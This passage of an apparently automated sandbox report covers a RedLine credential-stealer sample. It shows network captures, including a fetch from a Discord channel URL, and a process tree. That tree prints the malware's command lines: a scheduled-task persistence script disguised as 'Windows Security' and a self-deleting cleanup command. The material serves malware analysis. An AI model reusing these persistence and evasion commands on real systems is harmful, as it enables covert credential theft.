Mar 18, 2022 07:00:37.260754108 CET	8478	IN	Data Raw: 98 59 6f 25 12 fe 2b 79 17 7b 86 c2 38 cb 92 4e cf 14 4e 90 81 5e 5a db 7f f5 88 40 3a 5f cd 80 3b 2d 46 56 9e c5 ce 3e 74 ef a4 1b f4 45 81 e4 e2 7f 10 7a b8 f4 4e cb 56 e0 06 01 e6 3b e7 1d 68 6e d5 9c 3a 3c f9 a9 70 b1 41 28 55 f3 4d 8a ce 1c Data Ascii: Yo%+y{8NN^Z@:_;-FV>tEzNV;hn:<pA(UM(-woMwX~H!N-w)^0]JvX{en/dLG;t( .d"WH?@/le#E9T.cs,gdVrq^o\|/D
Mar 18, 2022 07:00:37.260776043 CET	8479	IN	Data Raw: 34 c7 1c b4 65 1d 63 5c 05 ca a2 ec 58 76 a9 04 d9 34 35 34 be 30 8c db 7f 6e 7d 0e d6 41 1d 69 47 81 10 48 51 fa 1e 4d c5 17 cc f2 ae ca a2 f7 13 0d bb 95 7b 2b 68 8a d2 90 60 cb 96 86 d4 f2 c5 04 26 ec 23 5b 7b 84 c0 07 ba 14 14 a5 c0 5f 85 72 Data Ascii: 4ec\Xv4540n}AiGHQM{+h`&#[{_rNVSn3?67+sc7unJ6xy[*B9{T(@tN[^LRD4hCFS)FG+,S=S<6{ v6kI)N[#{\
Mar 18, 2022 07:00:37.260801077 CET	8481	IN	Data Raw: 3c 42 a0 0b 55 62 f8 9e 56 93 fc 8f 7b 04 f2 25 38 e9 9f 1f 47 cc bb b7 af e3 97 cd 6a 56 9e e6 d3 91 ac f1 68 32 e9 18 e0 c0 7d 74 3c b4 6e 9e 5d dd 73 a5 45 99 73 e8 d0 0c fe 9d 3c 69 d3 e2 44 6c 44 44 fb 82 ac d1 fa da 29 dc 98 0c cd 78 0e ed Data Ascii: <BUbV{%8GjVh2}t<n]sEs<iDlDD)x} 3J\|O7k^Z^HuO07*,KLx$U+55~R/7KhC1zRs=AFd9"M"_4%Dzd`@=[pGvkWt
Mar 18, 2022 07:00:37.322458982 CET	8482	IN	Data Raw: b5 74 f0 3e 6b dc 99 d9 8b 73 f7 b5 b1 97 a1 99 53 59 39 6c eb 1e 80 88 85 47 f1 ba 88 02 6a ad 12 2c c1 a3 00 41 09 b7 4c 26 10 34 63 97 8b 3e e3 f5 d3 76 d9 60 b7 0c 8d f2 1e 5e 0c e8 db 40 8f b5 23 67 26 1a a1 31 4f b1 c2 dc 6c d5 bd c1 0e 86 Data Ascii: t>ksSY9lGj,AL&4c>v`^@#g&1OlP;G?kt0q(\FahxoHO(ho=I@+n-q<u_0/,MjO9dz^D%XmvV

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49773	162.159.128.233	443	C:\Users\user\Desktop\18561381.exe

Timestamp	kBytes transferred	Direction	Data
2022-03-18 06:00:35 UTC	0	OUT	GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1 Host: discord.com Connection: Keep-Alive
2022-03-18 06:00:35 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 18 Mar 2022 06:00:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Ray: 6edbbfb5fa3b694c-FRA Accept-Ranges: bytes Cache-Control: private Last-Modified: Thu, 17 Mar 2022 20:30:27 GMT Set-Cookie: __dcfduid=ba6be2a0a68011ec8ea29fc1fd24fb64; Expires=Wed, 17 Mar 2027 06:00:35 GMT; Max-Age=157680000; Path=/; Secure; HttpOnly; SameSite=Lax Strict-Transport-Security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: HIT
2022-03-18 06:00:35 UTC	0	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 73 63 72 69 70 74 2d 73 72 63 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 6e 6f 6e 63 65 2d 4d 6a 4d 30 4c 44 55 32 4c 44 49 30 4e 53 77 78 4d 54 49 73 4d 6a 4d 30 4c 44 49 30 4f 53 77 7a 4e 69 77 35 4d 41 3d 3d 27 20 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 6e 69 6d 61 74 69 6f 6e 73 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 Data Ascii: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' 'nonce-MjM0LDU2LDI0NSwxMTIsMjM0LDI0OSwzNiw5MA==' https://cdn.discordapp.com/animations/ https://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https
2022-03-18 06:00:35 UTC	4	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 54 4b 53 45 64 33 6e 25 32 46 54 39 64 78 4f 58 6d 41 56 51 43 6b 47 32 38 5a 32 41 6d 79 50 44 54 70 53 70 71 34 58 48 49 46 70 30 68 4e 72 64 63 37 48 25 32 42 58 67 45 33 4b 38 66 78 6d 47 4f 6e 56 32 4c 75 6f 58 32 31 33 50 71 78 77 72 37 6c 72 25 32 46 34 63 63 63 45 6c 59 77 54 6b 49 6c 4b 25 32 46 66 6a 48 53 53 6d 46 65 55 55 75 39 31 55 58 38 73 25 32 42 52 6d 4c 74 54 57 65 45 6a 39 37 54 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TKSEd3n%2FT9dxOXmAVQCkG28Z2AmyPDTpSpq4XHIFp0hNrdc7H%2BXgE3K8fxmGOnV2LuoX213Pqxwr7lr%2F4cccElYwTkIlK%2FfjHSSmFeUUu91UX8s%2BRmLtTWeEj97T"}],"group":"cf-nel","max_age":604800}NEL
2022-03-18 06:00:35 UTC	4	IN	Data Raw: 31 66 66 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 2f 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 73 65 63 74 69 6f 6e 3a 73 65 6f 6d 65 74 61 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 20 Data Ascii: 1ff6<!DOCTYPE html><html> <head> <meta charset="utf-8" /> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=no" name="viewport" /> ... section:seometa --> <meta property="og:type" content="website"
2022-03-18 06:00:35 UTC	5	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 47 55 49 4c 44 5f 54 45 4d 50 4c 41 54 45 5f 48 4f 53 54 3a 20 27 64 69 73 63 6f 72 64 2e 6e 65 77 27 2c 0a 20 20 20 20 20 20 20 20 47 49 46 54 5f 43 4f 44 45 5f 48 4f 53 54 3a 20 27 64 69 73 63 6f 72 64 2e 67 69 66 74 27 2c 0a 20 20 20 20 20 20 20 20 52 45 4c 45 41 53 45 5f 43 48 41 4e 4e 45 4c 3a 20 27 73 74 61 62 6c 65 27 2c 0a 20 20 20 20 20 20 20 20 4d 41 52 4b 45 54 49 4e 47 5f 45 4e 44 50 4f 49 4e 54 3a 20 27 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 27 2c 0a 20 20 20 20 20 20 20 20 42 52 41 49 4e 54 52 45 45 5f 4b 45 59 3a 20 27 70 72 6f 64 75 63 74 69 6f 6e 5f 35 73 74 37 37 72 72 63 5f 34 39 70 70 32 72 70 34 70 68 79 6d 37 33 38 37 27 2c 0a 20 20 20 20 20 20 20 20 53 54 52 49 50 45 5f 4b 45 59 3a 20 27 70 6b 5f 6c 69 76 Data Ascii: GUILD_TEMPLATE_HOST: 'discord.new', GIFT_CODE_HOST: 'discord.gift', RELEASE_CHANNEL: 'stable', MARKETING_ENDPOINT: '//discord.com', BRAINTREE_KEY: 'production_5st77rrc_49pp2rp4phym7387', STRIPE_KEY: 'pk_liv
2022-03-18 06:00:35 UTC	7	IN	Data Raw: 6f 2e 62 69 6e 61 72 79 54 79 70 65 3d 22 61 72 72 61 79 62 75 66 66 65 72 22 3b 76 61 72 20 74 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 69 3d 7b 6f 70 65 6e 3a 21 31 2c 69 64 65 6e 74 69 66 79 3a 21 31 2c 67 61 74 65 77 61 79 3a 65 2c 6d 65 73 73 61 67 65 73 3a 5b 5d 7d 3b 6f 2e 6f 6e 6f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 5b 46 41 53 54 20 43 4f 4e 4e 45 43 54 5d 20 63 6f 6e 6e 65 63 74 65 64 20 69 6e 20 22 2b 28 44 61 74 65 2e 6e 6f 77 28 29 2d 74 29 2b 22 6d 73 22 29 2c 69 2e 6f 70 65 6e 3d 21 30 7d 2c 6f 2e 6f 6e 63 6c 6f 73 65 3d 6f 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 77 73 3d 6e 75 6c 6c 7d 2c 6f 2e 6f 6e 6d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: o.binaryType="arraybuffer";var t=Date.now(),i={open:!1,identify:!1,gateway:e,messages:[]};o.onopen=function(){console.log("[FAST CONNECT] connected in "+(Date.now()-t)+"ms"),i.open=!0},o.onclose=o.onerror=function(){window._ws=null},o.onmessage=function(n
2022-03-18 06:00:35 UTC	8	IN	Data Raw: 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 65 32 64 34 35 38 33 30 36 65 33 61 34 33 61 30 33 37 38 36 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 32 66 36 66 63 35 37 38 34 34 36 30 33 32 63 30 63 30 61 35 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 31 34 61 31 37 31 32 30 32 34 38 65 61 32 30 38 32 33 64 31 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 Data Ascii: script" href="/assets/e2d458306e3a43a03786.js"></link><link rel="prefetch" as="script" href="/assets/2f6fc578446032c0c0a5.js"></link><link rel="prefetch" as="script" href="/assets/14a17120248ea20823d1.js"></link><link rel="prefetch" as="script" href="/ass
2022-03-18 06:00:35 UTC	9	IN	Data Raw: 37 35 32 32 61 36 32 64 66 62 63 33 66 61 31 37 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 35 30 65 66 36 66 65 35 30 62 61 30 30 39 36 39 31 38 64 39 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 36 66 38 31 65 34 65 31 38 38 33 31 33 33 65 38 32 37 33 30 2e 6a 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 32 38 62 33 32 30 63 64 65 65 39 34 65 30 33 63 64 63 30 33 2e 6a Data Ascii: 7522a62dfbc3fa17.js"></link><link rel="prefetch" as="script" href="/assets/50ef6fe50ba0096918d9.js"></link><link rel="prefetch" as="script" href="/assets/6f81e4e1883133e82730.js"></link><link rel="prefetch" as="script" href="/assets/28b320cdee94e03cdc03.j
2022-03-18 06:00:35 UTC	11	IN	Data Raw: 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 30 32 64 33 37 30 36 34 62 62 66 65 36 30 63 35 31 63 66 35 2e 6a 73 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 32 35 36 2d 31 55 64 78 63 56 6b 6a 4e 64 78 4e 71 52 62 2b 54 54 54 4d 2b 43 72 4e 43 6e 72 4f 57 32 2b 71 39 6f 2f 44 6d 73 7a 43 48 32 55 3d 20 73 68 61 35 31 32 2d 71 64 4a 30 36 37 70 33 6c 2b 52 71 35 66 57 41 66 4f 4d 42 35 41 49 41 41 36 79 2b 45 61 59 73 30 2b 70 72 36 55 7a 50 35 38 6e 78 53 6c 6f 76 59 37 42 64 57 62 46 37 78 63 66 64 75 71 76 49 42 70 52 57 42 48 4e 39 46 79 61 46 74 73 6f 54 66 45 74 50 6b 77 3d 3d 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 34 64 36 64 63 34 39 34 39 33 37 38 30 63 38 66 Data Ascii: pt><script src="/assets/02d37064bbfe60c51cf5.js" integrity="sha256-1UdxcVkjNdxNqRb+TTTM+CrNCnrOW2+q9o/DmszCH2U= sha512-qdJ067p3l+Rq5fWAfOMB5AIAA6y+EaYs0+pr6UzP58nxSlovY7BdWbF7xcfduqvIBpRWBHN9FyaFtsoTfEtPkw=="></script><script src="/assets/4d6dc49493780c8f
2022-03-18 06:00:35 UTC	12	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:59:20
Start date:	18/03/2022
Path:	C:\Users\user\Desktop\18561381.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\18561381.exe"
Imagebase:	0xf0000
File size:	104960 bytes
MD5 hash:	68E9A902193C06E8F3289CD54FDAC054
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.234542806.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.401749715.00000000000F2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	06:59:46
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	06:59:47
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	06:59:47
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	06:59:48
Start date:	18/03/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7810a0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	06:59:49
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	06:59:57
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	11
Start time:	07:00:02
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	07:00:22
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	07:00:35
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	16
Start time:	07:00:37
Start date:	18/03/2022
Path:	C:\Users\user\AppData\Local\Temp\build.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\build.exe"
Imagebase:	0xcb0000
File size:	233472 bytes
MD5 hash:	D1DB0A92A4C72B887CC16A32E9D285A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 20%, Metadefender, Browse Detection: 81%, ReversingLabs

Show Windows behavior

Target ID:	21
Start time:	07:00:48
Start date:	18/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Imagebase:	0x7ff73c930000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	22
Start time:	07:00:50
Start date:	18/03/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7b0320000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	23
Start time:	07:00:50
Start date:	18/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	24
Start time:	07:00:56
Start date:	18/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Imagebase:	0x7ff648000000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	25
Start time:	07:00:56
Start date:	18/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	26
Start time:	07:00:56
Start date:	18/03/2022
Path:	C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Imagebase:	0x700000
File size:	233472 bytes
MD5 hash:	D1DB0A92A4C72B887CC16A32E9D285A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 20%, Metadefender, Browse Detection: 81%, ReversingLabs

Show Windows behavior

Target ID:	27
Start time:	07:00:59
Start date:	18/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit
Imagebase:	0x7ff648000000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	28
Start time:	07:00:59
Start date:	18/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	29
Start time:	07:01:00
Start date:	18/03/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /PID 2856
Imagebase:	0x7ff7f7bf0000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	30
Start time:	07:01:01
Start date:	18/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"
Imagebase:	0x7ff638ba0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	31
Start time:	07:01:10
Start date:	18/03/2022
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 3
Imagebase:	0x7ff618bb0000
File size:	30720 bytes
MD5 hash:	EB9A65078396FB5D4E3813BB9198CB18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	32
Start time:	07:01:13
Start date:	18/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit
Imagebase:	0x7ff648000000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	33
Start time:	07:01:13
Start date:	18/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	34
Start time:	07:01:14
Start date:	18/03/2022
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs
Imagebase:	0x7ff739f00000
File size:	164352 bytes
MD5 hash:	956185CAF895737F30E8EE24DEFCE8E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	35
Start time:	07:01:17
Start date:	18/03/2022
Path:	C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Imagebase:	0x530000
File size:	233472 bytes
MD5 hash:	D1DB0A92A4C72B887CC16A32E9D285A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

